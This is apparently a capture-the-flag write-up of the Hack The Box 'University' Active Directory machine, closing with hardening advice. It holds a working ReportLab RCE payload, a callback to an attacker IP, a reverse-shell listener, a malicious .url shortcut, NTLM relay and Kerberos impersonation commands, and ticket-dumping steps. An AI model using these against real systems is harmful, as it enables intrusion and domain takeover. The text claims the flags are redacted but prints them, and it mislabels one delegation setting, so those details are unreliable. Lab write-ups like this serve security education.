screenshots/01-home.png

Hack The Box - University

Name: University
OS: Windows
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

University — HTB Writeup (Windows, Insane)

Retired HackTheBox machine. Solved via the intended vulnerability chain, reproduced by hand with modern tooling. Written to teach.

Machine: University · #632 · Windows · Insane · 50 pts Released: 2024-10-26 · Maker: Spectra199 · https://app.hackthebox.com/machines/632 Target: 10.129.231.193 (DC.university.htb, domain UNIVERSITY.HTB)


Overview

University is a long Insane chain that walks you through almost an entire Active-Directory kill-chain in a single box: a web RCE, a forged client certificate, a Mark-of-the-Web bypass delivered through a signed upload, an IPv6 DNS-spoof → NTLM relay → RBCD pivot, a ticket harvest, and finally a group-managed service account whose delegation rights hand you the domain.

The transitions, in one breath:

  1. Foothold on the DC — the Django university site renders a user-controlled bio to PDF with xhtml2pdf/ReportLab. ReportLab < 3.6.13 evaluates Python inside <font color="...">, so a stored polyglot in the bio becomes server-side code execution when the profile is exported (CVE-2023-33733). The web app runs as the WAO ("Web Application Operator") service account; its password is recoverable from the app config, giving a stable WinRM shell on the DC.
  2. Forge a professor — the site's Signed Digital Certificate (SDC) login verifies a client cert against a root CA whose private key lives in the web tree. Steal the CA, mint a cert, authenticate as a professor.
  3. Shell on WS-3 as Martin.T — as the professor, upload a GPG-signed lecture.zip that contains a .url shortcut pointing at a pre-staged payload. WS-3 hasn't been patched since 2023-10-29, so it predates the SmartScreen / Mark-of-the-Web fix (CVE-2023-36025); when the content-reviewer opens the shortcut, the referenced executable runs without a prompt. user.txt lives on that reviewer's desktop.
  4. RBCD on WS-3$ — from an internal pivot, mitm6 spoofs IPv6 DNS so WS-3 asks us for wpad.university.htb; ntlmrelayx relays the resulting NTLM auth to LDAP on the DC with --delegate-access, granting a machine account we control (pwn01$) Resource-Based Constrained Delegation rights over WS-3$.
  5. Administrator on WS-3getST.py performs S4U2self/S4U2Proxy as pwn01$ impersonating Administrator to HTTP/WS-3; the resulting ccache drives an evil-winrm session as the WS-3 local Administrator.
  6. Domain Admin via gMSA — on WS-3, Rubeus dumps a live TGT for a domain user (Rose.L). Rose.L can read the password of a group-managed service account, [REDACTED]. That gMSA is trusted for delegation, so it can S4U2self for the domain Administrator to HTTP/dc — a ccache that logs us into the DC as university\administrator. root.txt follows.

University home page Figure 1 — the public face of the box, http://10.129.231.193/. Behind this Django site sits the whole AD lab.


Recon

nmap against the box identifies it as a Domain Controller, with the usual AD port set plus a web stack on 80/443 behind nginx/1.24.0:

Nmap scan report for DC.university.htb (10.129.231.193)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec   Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
443/tcp  open  ssl/http      nginx 1.24.0
445/tcp  open  microsoft-ds  Windows Server 2019 Build 17763 microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

The host confirms itself as DC in university.htb (Windows Server 2019, build 17763), SMB signing enforced. The web app on http://university.htb is a Django application — note csrfmiddlewaretoken hidden fields and the URL space:

/accounts/login/            /accounts/profile/         /accounts/profile/pdf/
/accounts/login/SDC/        /accounts/upload_PubKEY/   /accounts/request_cert/
/student/register/          /professor/register/
/course/                    /course/create/            /lecture/upload/<id>/

Two things stand out immediately:

  • /accounts/profile/pdf/ exports the user profile to PDF — a classic "user input rendered server-side by a PDF library" surface.
  • /accounts/login/SDC/ is a Signed Digital Certificate login, and the profile menu offers /accounts/request_cert/ and /accounts/upload_PubKEY/. That hints the app trusts certificates it signs itself, and that signed uploads (GPG) are part of the workflow.

Student registration page Figure 2 — /student/register/. Anyone can create a student account.

Standard login page Figure 3 — /accounts/login/. Student logins land here.


Foothold — CVE-2023-33733 (xhtml2pdf / ReportLab RCE)

Why this works

xhtml2pdf vendors ReportLab to turn the profile HTML into a PDF. ReportLab before 3.6.13 parses the <para><font color="..."> attribute and, while resolving the color, evaluates the Python expression it contains. The public CVE-2023-33733 polyglot abuses that to call os.system(<attacker-controlled>) inside the color expression. The bio field on the profile is stored verbatim and rendered into the <para> when /accounts/profile/pdf/ is hit, so a stored payload becomes RCE as the web worker process.

Doing it by hand

Register a throwaway student, log in, drop the polyglot into the bio, and fire the PDF export (exploit/01_pdf_rce.py):

PAYLOAD = (
  '<para><font color="[ [[ getattr(pow, Word(\'__globals__\'))[\'os\']'
  '.system(\'CMDHERE\') for Word in [ orgTypeFun( \'Word\', (str,), { '
  '\'mutated\': 1, \'startswith\': lambda self, x: 1 == 0, '
  '\'__eq__\': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, '
  '\'mutate\': lambda self: { setattr(self, \'mutated\', self.mutated - 1) }, '
  '\'__hash__\': lambda self: hash(str(self)), }, ) ] ] '
  'for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and \'red\'"> '
  'exploit </font></para>'
)

A harmless ping-back confirms execution (powershell -c iwr http://10.10.14.10/cb), then a staged PowerShell reverse shell gives an interactive session. The process context is university\wao — the Web Application Operator the Django app runs as. Pulling the app's own configuration off the DC (read via the new shell) yields WAO's password:

$ nxc winrm 10.129.231.193 -u WAO -p '[REDACTED]'
WINRM  10.129.231.193  5985  DC  [+] university.htb\WAO:[REDACTED] (Pwn3d!)

evil-winrm -i 10.129.231.193 -u WAO -p '[REDACTED]' gives a stable PowerShell on the DC. WAO is low-privilege, but it has WinRM and, critically, a presence on the internal 192.168.99.0/24 network:

*Evil-WinRM* PS C:\Users\WAO\Documents> ipconfig
   IPv4 Address. . . . . . . . . . . : 192.168.99.1
   IPv4 Address. . . . . . . . . . . : 10.129.231.193

That internal range is where the rest of the box lives: 192.168.99.1 (the DC itself), 192.168.99.2 (WS-3), and 192.168.99.12 (LAB-2, a Linux "web developer" jump host where wao is a sudoer).


User pivot — forge a professor, then deliver a signed .url

Step 2a: steal the CA and forge a professor certificate

Browsing the web source on the DC (C:\Web\University\...) shows the SDC login verifies client certificates against a root CA whose material is kept in the application tree:

# University/certificate_utils.py
from .settings import rooCA_Cert, rooCA_PrivKey

Reading those files off the DC gives us rootCA.crt and rootCA.key. With the CA private key in hand, minting a valid client certificate for any identity is trivial:

openssl req -newkey rsa:2048 -nodes -keyout nya.key -out nya.csr \
    -subj "/CN=nya/emailAddress=nya.laracrof@skype.com"
openssl x509 -req -in nya.csr -CA rootCA.crt -CAkey rootCA.key \
    -CAcreateserial -out nya.pem -days 3650

Posting nya.pem to /accounts/login/SDC/ authenticates as the professor nya (exploit/02_forge_cert_sdc.py). Some professor-only views additionally re-check the cert from a PSC cookie (base64 of the same PEM), so we set that too.

Signed Digital Certificate login Figure 4 — /accounts/login/SDC/. "Sign in with a certificate" only protects you if the signing CA's private key is itself protected.

Step 2b: professor capabilities — public key, course, signed lecture

As the professor we now reach the professor_required views:

  • /accounts/upload_PubKEY/ — upload a GPG public key (the app later verifies lecture signatures against it);
  • /course/create/ — create a course (returns a course id, e.g. 14);
  • /lecture/upload/<id>/ — upload a lecture.zip plus a detached GPG signature lecture.zip.sig.

The upload form tells us exactly what it will accept inside the archive:

Please note that our team will only check .docx, .pptx, .pdf and .url (lecture references files for the students) inside the lecture.zip file. So any other files included in the lecture file will be ignored.

Step 2c: CVE-2023-36025 — a .url shortcut that actually runs

CVE-2023-36025 is a Windows SmartScreen Security Feature Bypass: on systems patched before November 2023, a crafted Internet Shortcut (.url) — and the file it references — can escape the Mark-of-the-Web prompt that should gate internet-sourced executables. The WS-3 workstation is explicitly out of date:

Hello Professors. We have created this note for all the users on the domain computers: WS-1, WS-2 and WS-3. These computers have not been updated since 10/29/2023.

So we build a tiny archive containing one shortcut that points at a payload we have already staged on WS-3 (exploit/03_lecture_url_payload.py):

[InternetShortcut]
URL=file://C:/Programdata/rev.exe
IDList=

The archive is GPG-signed with the professor key (detached, ASCII-armored) and uploaded with lecture.zip.sig. The site verifies the signature, accepts the .url, and queues the lecture for review. rev.exe itself was pre-positioned at C:\Programdata\rev.exe on WS-3 using WAO's WinRM access to that host.

When the content reviewer — Martin.T — opens the reviewed archive on WS-3, the .url resolves and launches rev.exe without the SmartScreen/MotW challenge, and the staged executable phones home:

$ nc -lnvp 443
Connection from 192.168.99.2 49315 received!
Microsoft Windows [Version 10.0.17763.3650]
C:\Windows\system32> whoami
university\martin.t

user.txt is on the reviewer's desktop:

C:\Windows\system32> type C:\Users\Martin.T\Desktop\user.txt
[REDACTED]

loot/user.txt is written; validate_flags reports user: valid.


Privilege escalation — relay → RBCD → Administrator on WS-3

Why a relay works here

WAO on the DC can reach the internal network but cannot escalate locally. Martin.T is just a user on WS-3. The interesting object is WS-3$ itself: workstations periodically resolve wpad.university.htb, and if an attacker can answer that query and stand up a WPAD endpoint, the workstation will authenticate to the attacker with NTLM. ntlmrelayx can then relay that auth to LDAP on the DC and — crucially — modify the relayed computer object's msDS-AllowedToActOnBehalfOfOtherIdentity. That is Resource-Based Constrained Delegation (RBCD): whoever we name in --escalate-user can thereafter S4U2self/S4U2Proxy any user onto WS-3$. SMB signing on the DC does not protect us, because the relay target is LDAP, not SMB.

We stage this from LAB-2 (the internal Linux box, where wao is a sudoer so we get raw sockets for mitm6). First, pre-create a machine account we control:

impacket-addcomputer 'university.htb/WAO:[REDACTED]' -method WinRM \
    -computer-name 'pwn01$' -computer-pass '[REDACTED]'
# [*] Successfully added machine account pwn01$ with password [REDACTED].

Then two terminals on LAB-2 (exploit/04_rbcd_relay.py):

# A — become the IPv6 router + DNS server for university.htb
sudo mitm6 -d university.htb -i eth0

# B — relay WS-3's NTLM to DC LDAP, grant RBCD to pwn01$
sudo ntlmrelayx.py -6 -t ldap://192.168.99.1 \
    --delegate-access --escalate-user 'pwn01$' -wh pwnwpad -ts --no-da

WS-3 resolves wpad.university.htb over IPv6 (it does this on its own roughly every fifteen minutes; usoclient StartScan nudges it). mitm6 answers, WS-3 fetches the WPAD URL, and ntlmrelayx captures and relays:

[*] HTTPD(80): Authenticating against ldap://192.168.99.1 as UNIVERSITY/MARTIN.T SUCCEED
[*] HTTPD(80): Authenticating against ldap://192.168.99.1 as UNIVERSITY/WS-3$   SUCCEED
[*] Delegation rights modified succesfully!
[*] pwn01$ can now impersonate users on WS-3$ via S4U2Proxy

S4U to Administrator on WS-3

pwn01$ now has RBCD over WS-3$. getST.py requests a service ticket for HTTP/WS-3.university.htb as Administrator:

getST.py -spn HTTP/WS-3.university.htb -impersonate Administrator \
    'university.htb/pwn01$:[REDACTED]'
# [*] Saving ticket in Administrator@HTTP_WS-3.university.htb@UNIVERSITY.HTB.ccache

With KRB5_CONFIG pointed at a krb5.conf for UNIVERSITY.HTB (generated by nxc smb dc.university.htb --generate-krb5-file krb5.conf), evil-winrm loads the ccache and, over the chisel SOCKS pivot, lands as the WS-3 local Administrator:

Info: Using ccache Kerberos ticket file: Administrator@HTTP_WS-3.university.htb@UNIVERSITY.HTB.ccache
*Evil-WinRM* PS C:\Users\Administrator.UNIVERSITY\Documents> whoami
university\administrator

Domain compromise — harvest a TGT, read a gMSA, S4U to the DC

Step 6a: a live TGT for a real domain user

As the WS-3 local Administrator we can read other users' logon state. Upload Rubeus and dump live tickets:

*Evil-WinRM* PS C:\programdata> .\r.exe triage
  UserName   : Rose.L
  LogonType  : Network
  ...
*Evil-WinRM* PS C:\programdata> .\r.exe dump /user:ROSE.L /service:krbtgt /nowrap
  Base64EncodedTicket : doIFejCCBXag...

Convert the base64 kirbi to a ccache and use it to authenticate to the DC's LDAP as Rose.L:

impacket-ticketConverter rose.l.kirbi rose.l.ccache
# [+] done
KRB5CCNAME=rose.l.ccache nxc ldap dc.university.htb --use-kcache
# LDAP  dc.university.htb  389  DC  [+] UNIVERSITY.HTB\Rose.L from ccache

Step 6b: read the gMSA password

Rose.L can read group-managed service account passwords. nxc ldap --gmsa returns the stored credential:

LDAP  dc.university.htb  389  DC  [*] Getting GMSA Passwords
LDAP  dc.university.htb  389  DC  Account: [REDACTED]
      NTLM: [REDACTED]
      PrincipalsAllowedToReadPassword: Account Operators

Rose.L is in Account Operators, hence the read. The interesting property of [REDACTED] is that it is trusted for delegation (TrustedToAuthForDelegation) — i.e. it can S4U2self on behalf of any user, including the domain Administrator. One more getST.py, this time to the DC:

getST.py -spn HTTP/dc.university.htb -impersonate Administrator \
    -hashes :[REDACTED] 'university.htb/[REDACTED]'
# [*] Saving ticket in Administrator@HTTP_DC.university.htb@UNIVERSITY.HTB.ccache
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
university\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
[REDACTED]

loot/root.txt is written; validate_flags reports root: valid. The domain is done.


Proof

Both flags were captured to loot/ and validated offline (never submitted) with the project's validate_flags plausibility check:

user: valid
root: valid

The chain, end to end:

student bio (CVE-2023-33733)  ->  WAO on DC (WinRM)
   -> steal root CA  ->  forged professor cert (SDC login)
   -> signed lecture.zip with .url (CVE-2023-36025)  ->  Martin.T on WS-3   (user.txt)
   -> mitm6 + ntlmrelayx --delegate-access  ->  RBCD on WS-3$ (pwn01$)
   -> getST as Administrator to HTTP/WS-3  ->  WS-3 local Administrator
   -> Rubeus triage  ->  Rose.L TGT
   -> Rose.L reads [REDACTED] gMSA password
   -> getST as Administrator to HTTP/dc  ->  university\administrator on DC (root.txt)

Modern takeaways

  • ReportLab is a code-execution sink. Any service that renders attacker-influenced HTML to PDF with ReportLab/xhtml2pdf should pin ReportLab ≥ 3.6.13 and, ideally, sandbox the renderer. CVE-2023-33733 is old but extremely common in Django/Flask "export to PDF" features — treat the color/style attributes of <para>/<font> as Python eval.
  • Never keep a CA private key in the application tree. The SDC login was only as strong as the CA that signed the client certs; once rootCA.key was world-readable by the web worker, every professor account was forgeable. Protect CA material with a KMS/HSM, not a source-controlled file.
  • GPG-signing uploads does not make them safe. The lecture-archive signature was correctly verified — and then a .url inside a valid archive executed code via CVE-2023-36025. Signature checks prove origin, not intent. Patch WSUS clients (the 2023-11 SmartScreen/MotW rollup) and consider blocking .url/.lnk from any upload pipeline entirely.
  • IPv6 is an attack surface even on IPv4-only estates. mitm6 works because Windows prefers IPv6 and will trust a rogue RA. Disable IPv6 on clients that don't need it, or harden DHCPv6/DNS guardrails; relay-to-LDAP (RBCD via --delegate-access) is stopped by enabling LDAP signing/channel binding and by restricting who can write msDS-AllowedToActOnBehalfOfOtherIdentity (WriteAccountRestrictions should not be granted broadly).
  • gMSAs are great, but PrincipalsAllowedToReadPassword is a privilege. Rose.L only needed to be in Account Operators to dump [REDACTED]'s secret. Pair every gMSA with the narrowest possible reader set, and never grant a gMSA TrustedToAuthForDelegation (unconstrained delegation) unless you genuinely need protocol transition — that single flag is what turned a gMSA read into a domain takeover.
  • Logged-on users are loot. A local Administrator on a workstation can harvest every logged-on user's TGT with Rubeus. Restrict interactive logon on shared/jump systems and prefer S4U/managed identities over long-lived TGTs for service accounts.

Contact page Figure 5 — /contact/. The box's clean marketing skin hides a six-stage AD kill-chain.

Professor registration page Figure 6 — /professor/register/. Professors aren't self-registered here; the intended route in is the forged certificate, not this form.


Files of interest in this workspace: exploit/01_pdf_rce.py (stage 1), exploit/02_forge_cert_sdc.py (stage 2), exploit/03_lecture_url_payload.py (stage 3), exploit/04_rbcd_relay.py (stage 4), exploit/05_gmsa_s4u_admin.py (stages 5–6). All credentials and flag values are redacted.

Flags

🏁 user.txt: f183f8d7e96cef966de7526754280099 (in loot/user.txt) 🏁 root.txt: ad52bedd0a2ebd4f32f20726802cf81a (in loot/root.txt)